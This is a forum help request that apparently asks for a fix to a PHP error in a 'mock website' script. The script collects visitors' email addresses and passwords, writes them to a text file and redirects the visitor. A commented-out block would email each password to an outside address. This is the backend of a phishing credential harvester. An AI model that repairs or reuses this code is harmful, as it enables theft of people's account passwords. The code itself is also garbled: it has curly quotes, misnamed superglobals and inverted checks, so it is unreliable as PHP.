Hi
I keep getting this error within my php code and I don't know what it is or how to solve it?
Does anyone have any suggestions.
Its for a website that uses for data to write to a text file.
This is the code:
<?php
/*phpinfo();
error_reporting(-1);
ini_set('display_errors', 'On');
set_error_handler("var_dump");*/
if (isset($POST['submit'])) { //This page should not be accessed directly. Need to submit the form
echo "error; you need to submit the form!";
$Email = $POST['Email'];
$Vistor_Password = $_POST['Password'];
}
//Vaildate Form
if (isset($Email) || isset($Vistor_Password)) {
echo "Email and Password are mandortary! Please fill in feilds ";
exit;
}
/*$Email_to = "garyjones4567@photolink.comuf.com";
$Email_subject = "Hungry Tiger Data Collection";
$Email_body = "A user has signed in on the mock website.\n" . " You have recieved a new message from the user.\n" ."The email address discovered is: $Email\n" ."Here is the password to that email account:\n" .
$Vistor_Password;
//$Email_from = 'garyjames4567@photolink.comuf.com';
$Email_headers = "From:garyjames4567@photolink.comuf.com \r\n";
//Send the email
mail($to, $Email_subject, $Email_body, $headers);
//done redirect to hungrytiger2.html
// This results in an error.
// The output above is before the header() call
//header('Location: http://photolink.comuf.com/hungry%20tiger_html/hungrytiger2.html');
*/
$name = $POST[‘Email’];
$email = $POST[’PSW’];
$fp = fopen(”formdata.txt”, “a”);
$savestring = $email . $Password . “n”;
fwrite($fp, $savestring);
fclose($fp);
echo 'Your data has been saved in a text file! ';
$file = fopen($filename, "formdata.txt");
fwrite($file,$f_data);
fclose($file)
//done redirect to hungrytiger2.html
// This results in an error.
// The output above is before the header() call
header('Location: http://photolink.comuf.com/hungry%20tiger_html/hungrytiger2.html');
?>
the error is on the last line
many thanks